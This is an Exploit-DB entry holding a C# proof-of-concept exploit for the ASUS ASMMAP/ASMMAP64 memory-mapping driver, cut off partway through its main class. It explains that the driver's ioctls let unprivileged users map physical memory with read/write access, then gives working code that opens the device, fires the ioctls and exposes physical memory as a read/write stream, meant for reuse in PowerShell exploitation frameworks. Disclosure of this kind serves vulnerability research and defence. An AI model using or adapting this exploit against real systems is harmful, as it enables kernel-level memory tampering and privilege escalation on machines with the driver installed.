Exploit-DB #39785
Description: ASUS Memory Mapping Driver (ASMMAP/ASMMAP64) - Physical Memory Read/Write
Type: dos
Platform: windows
Date: 2016-05-09
Author: slipstream

Exploit:
/*
  Source: http://rol.im/asux/

  ASUS Memory Mapping Driver (ASMMAP/ASMMAP64): Physical Memory Read/Write
  PoC by slipstream/RoL - https://twitter.com/TheWack0lian - http://rol.im/chat/
  
  The ASUS "Generic Function Service" includes a couple of drivers, ASMMAP.sys / ASMMAP64.sys,
  the version resources describe them as "Memory mapping Driver".
  
  This description is very accurate, it has a pair of ioctls, 0x9C402580 and 0x9C402584, that map or
  unmap to the calling process' address space ANY PART OF PHYSICAL MEMORY, with READ/WRITE permissions.
  Using code that has been copypasta'd a bunch of times, but seems to originate from a sample driver for NT 3.1.
  1993 vintage code, everybody.
  
  It also has a couple of other ioctls that allocate or free some RAM and gives the physical and virtual pointers
  to it, and another one that can make any I/O request (does in/out byte/word/dword with parameters given in the ioctl buffer,
  and returns the result for the case of in). These.. don't really matter, I guess? Well, I guess you could mess with SMM
  or other issues easily...
  
  This PoC can dump a block of physical memory to disk, and write to a block of physical memory from a file.
  I wrote it in C# so others can easily add the ASMMap_MapMem class to their powershell exploitation frameworks, if they so want.
  
  To ASUS: MS locked PhysicalMemory down in 2004. Don't use 1993 code to remove the restrictions, and let even unprivileged users
  access it (where back before it was locked to ring0, only SYSTEM could access it).
  
  To MS: why did you even sign asmmap/asmmap64? Probably automation. Come on, why does signing even exist if you sign whatever driver
  an OEM asks you to, without checking?
*/

// This uses pointers, so compile with /unsafe.
using System;
using System.ComponentModel;
using System.Globalization;
using System.IO;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;

public class ASMMap_MapMem : IDisposable {
	
	public const uint IOCTL_MAPMEM = 0x9C402580;
	public const uint IOCTL_UNMAPMEM = 0x9C402584;
	
	[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
	public static extern SafeFileHandle CreateFile(
	   string lpFileName,
	   [MarshalAs(UnmanagedType.U4)] FileAccess dwDesiredAccess,
	   [MarshalAs(UnmanagedType.U4)] FileShare dwShareMode,
	   IntPtr lpSecurityAttributes,
	   [MarshalAs(UnmanagedType.U4)] FileMode dwCreationDisposition,
	   [MarshalAs(UnmanagedType.U4)] FileAttributes dwFlagsAndAttributes,
	   IntPtr hTemplateFile);
	
	[DllImport("kernel32.dll", SetLastError = true)]
	static extern bool DeviceIoControl(
		SafeFileHandle hDevice,
		uint IoControlCode,
		ref MapMemIoctl InBuffer,
		int nInBufferSize,
		ref MapMemIoctl OutBuffer,
		int nOutBufferSize,
		IntPtr pBytesReturned,
		IntPtr Overlapped
	);
	
	[StructLayout(LayoutKind.Sequential)]
	public unsafe struct MapMemIoctl {
		public ulong PhysicalAddress;
		public byte* VirtualAddress;
		[MarshalAs(UnmanagedType.ByValArray, SizeConst=2)]
		public uint[] Length;
		
		public MapMemIoctl(SafeFileHandle asmmap,ulong PhysicalAddress,uint Length) {
			this.PhysicalAddress = PhysicalAddress;
			// Length[0] is used with ASMMAP64, Length[1] by ASMMAP. Set both here, ASMMAP will overwrite Length[0] anyway.
			this.Length = new uint[2];
			this.Length[0] = Length;
			this.Length[1] = Length;
			this.VirtualAddress = null;
			// Fire the ioctl
			Console.WriteLine("[*] Mapping 0x{0}-0x{1} into this process' address space...",PhysicalAddress.ToString("X"),(PhysicalAddress+Length).ToString("X"));
			if (!DeviceIoControl(asmmap,IOCTL_MAPMEM,ref this,Marshal.SizeOf(typeof(MapMemIoctl)),ref this,Marshal.SizeOf(typeof(MapMemIoctl)),IntPtr.Zero,IntPtr.Zero)) {
				throw new Win32Exception();
			}
			Console.WriteLine("[+] Mapped at 0x{0}",new IntPtr(this.VirtualAddress).ToInt64().ToString("X"));
		}
	}
	
	private MapMemIoctl mm;
	private SafeFileHandle asmmap = null;
	private bool ShouldDisposeOfAsmMap = false;
	private bool HasBeenDisposed = false;
	
	public uint Length {
		get {
			if (this.HasBeenDisposed) throw new ObjectDisposedException("ASMMap_MapMem");
			return mm.Length[ ( IntPtr.Size == 4 ? 1 : 0 ) ];
		}
	}
	
	public UnmanagedMemoryStream PhysicalMemoryBlock {
		get {
			if (this.HasBeenDisposed) throw new ObjectDisposedException("ASMMap_MapMem");
			unsafe {
				return new UnmanagedMemoryStream(mm.VirtualAddress,this.Length,this.Length,FileAccess.ReadWrite);
			}
		}
	}
	
	public ASMMap_MapMem(ulong PhysicalAddress,uint Length) : this(null,PhysicalAddress,Length) {
	}
	
	public ASMMap_MapMem(SafeFileHandle asmmap,ulong PhysicalAddress,uint Length) {
		if (asmmap == null) {
			asmmap = CreateFile("\\\\.\\ASMMAP" + (IntPtr.Size == 8 ? "64" : ""),FileAccess.ReadWrite,FileShare.None,
				IntPtr.Zero,FileMode.Create,FileAttributes.Temporary,IntPtr.Zero);
			this.ShouldDisposeOfAsmMap = true;
		}
		this.asmmap = asmmap;
		this.mm = new MapMemIoctl(asmmap,PhysicalAddress,Length);
	}
	
	public void Dispose() {
		if (this.HasBeenDisposed) return;
		unsafe { 
			Console.WriteLine("[*] Unmapping 0x{0}-0x{1} (0x{2})...",
				mm.PhysicalAddress.ToString("X"),
				(mm.PhysicalAddress+Length).ToString("X"),
				new IntPtr(mm.VirtualAddress).ToInt64().ToString("X")
			);
		}
		try {
			if (!DeviceIoControl(asmmap,IOCTL_UNMAPMEM,ref mm,Marshal.SizeOf(typeof(MapMemIoctl)),ref mm,Marshal.SizeOf(typeof(MapMemIoctl)),IntPtr.Zero,IntPtr.Zero)) {
				throw new Win32Exception();
			}
			Console.WriteLine("[+] Unmapped successfully");
		} finally {
			// dispose of the driver handle if needed
			if (this.ShouldDisposeOfAsmMap) asmmap.Dispose();
			this.HasBeenDisposed = true;
		}
	}
	
	~ASMMap_MapMem() {
		this.Dispose();
	}
}

class asmmap {
	public static bool TryParseDecAndHex(string value,out ulong result) {
		if ((value.Leng